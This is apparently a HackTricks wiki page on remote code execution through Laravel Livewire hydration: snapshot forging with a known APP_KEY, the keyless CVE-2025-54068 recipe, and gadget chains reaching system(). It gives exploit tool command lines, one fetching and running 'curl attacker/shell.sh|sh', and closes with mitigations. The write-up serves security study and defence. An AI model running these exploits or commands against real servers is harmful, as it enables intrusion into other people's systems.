Laravel Livewire Hydration & Synthesizer Abuse

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Recap of the Livewire state machine

Livewire 3 components exchange their state through snapshots that contain data, memo, and a checksum. Every POST to /livewire/update rehydrates the JSON snapshot server-side and executes the queued calls/updates.

class Checksum {
    static function verify($snapshot) {
        $checksum = $snapshot['checksum'];
        unset($snapshot['checksum']);
        if ($checksum !== self::generate($snapshot)) {
            throw new CorruptComponentPayloadException;
        }
    }

    static function generate($snapshot) {
        return hash_hmac('sha256', json_encode($snapshot), $hashKey);
    }
}

Anyone holding APP_KEY (used to derive $hashKey) can therefore forge arbitrary snapshots by recomputing the HMAC.

Complex properties are encoded as synthetic tuples detected by Livewire\Drawer\BaseUtils::isSyntheticTuple(); each tuple is [value, {"s":"<key>", ...meta}]. The hydration core simply delegates every tuple to the synth selected in HandleComponents::$propertySynthesizers and recurses over children:

protected function hydrate($valueOrTuple, $context, $path)
{
    if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
    [$value, $meta] = $tuple;
    $synth = $this->propertySynth($meta['s'], $context, $path);
    return $synth->hydrate($value, $meta, fn ($name, $child)
        => $this->hydrate($child, $context, "{$path}.{$name}"));
}

This recursive design makes Livewire a generic object-instantiation engine once an attacker controls either the tuple metadata or any nested tuple processed during recursion.

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple.
FormObjectSynth (form)Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties.
ModelSynth (mdl)When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control.

Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.

Forging snapshots when APP_KEY is known

  1. Capture a legitimate /livewire/update request and decode components[0].snapshot.
  2. Inject nested tuples that point to gadget classes and recompute checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode the snapshot, keep _token/memo untouched, and replay the request.

A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.

From function calls to full RCE

Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:

  1. Queueable trait – any object using Illuminate\Bus\Queueable exposes public $chained and executes unserialize(array_shift($this->chained)) in dispatchNextJobInChain().
  2. BroadcastEvent wrapper – Illuminate\Broadcasting\BroadcastEvent (ShouldQueue) is instantiated via CollectionSynth / FormObjectSynth with public $chained populated.
  3. phpggc Laravel/RCE4Adapted – the serialized blob stored in $chained[0] builds PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() finally calls call_user_func_array($closure, $args) enabling system($cmd).
  4. Stealth termination – by handing a second FnStream callable such as [new Laravel\Prompts\Terminal(), 'exit'], the request ends with exit() instead of a noisy exception, keeping the HTTP response clean.

Automating snapshot forgery

synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
  -j request.json --function system -p "bash -c 'id'"

The tool parses the captured snapshot, injects the gadget tuples, recomputes the checksum, and prints a ready-to-send /livewire/update payload.

CVE-2025-54068 – RCE without APP_KEY

updates are merged into component state after the snapshot checksum is validated. If a property inside the snapshot is (or becomes) a synthetic tuple, Livewire reuses its meta while hydrating the attacker-controlled update value:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
    $meta = $this->getMetaForPath($raw, $path);
    if ($meta) {
        return $this->hydrate([$value, $meta], $context, $path);
    }
}

Exploit recipe:

  1. Find a Livewire component with an untyped public property (e.g., public $count;).
  2. Send an update that sets that property to []. The next snapshot now stores it as [[], {"s": "arr"}].
  3. Craft another updates payload where that property contains a deeply nested array embedding tuples such as [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  4. During recursion, hydrate() evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed.
  5. Reuse the same CollectionSynth/FormObjectSynth primitives to instantiate a Queueable gadget whose $chained[0] contains the phpggc payload. Livewire processes the forged updates, invokes dispatchNextJobInChain(), and reaches system(<cmd>) without knowing APP_KEY.

Key reasons this works:

  • updates are not covered by the snapshot checksum.
  • getMetaForPath() trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.
  • Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration.

Livepyre – end-to-end exploitation

Livepyre automates both the APP_KEY-less CVE and the signed-snapshot path:

  • Fingerprints the deployed Livewire version by parsing <script src="/livewire/livewire.js?id=HASH"> and mapping the hash to vulnerable releases.
  • Collects baseline snapshots by replaying benign actions and extracting components[].snapshot.
  • Generates either an updates-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
    -f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check runs a non-destructive probe, -F skips version gating, -H and -P add custom headers or proxies, and --function/--param customise the php function invoked by the gadget chain.

Defensive considerations

  • Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.
  • Avoid weakly typed public properties in Livewire components; explicit scalar types prevent property values from being coerced into arrays/tuples.
  • Register only the synthesizers you truly need and treat user-controlled metadata ($meta['class']) as untrusted.
  • Reject updates that change the JSON type of a property (e.g., scalar -> array) unless explicitly allowed, and re-derive synth metadata instead of reusing stale tuples.
  • Rotate APP_KEY promptly after any disclosure because it enables offline snapshot forging no matter how patched the code-base is.

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks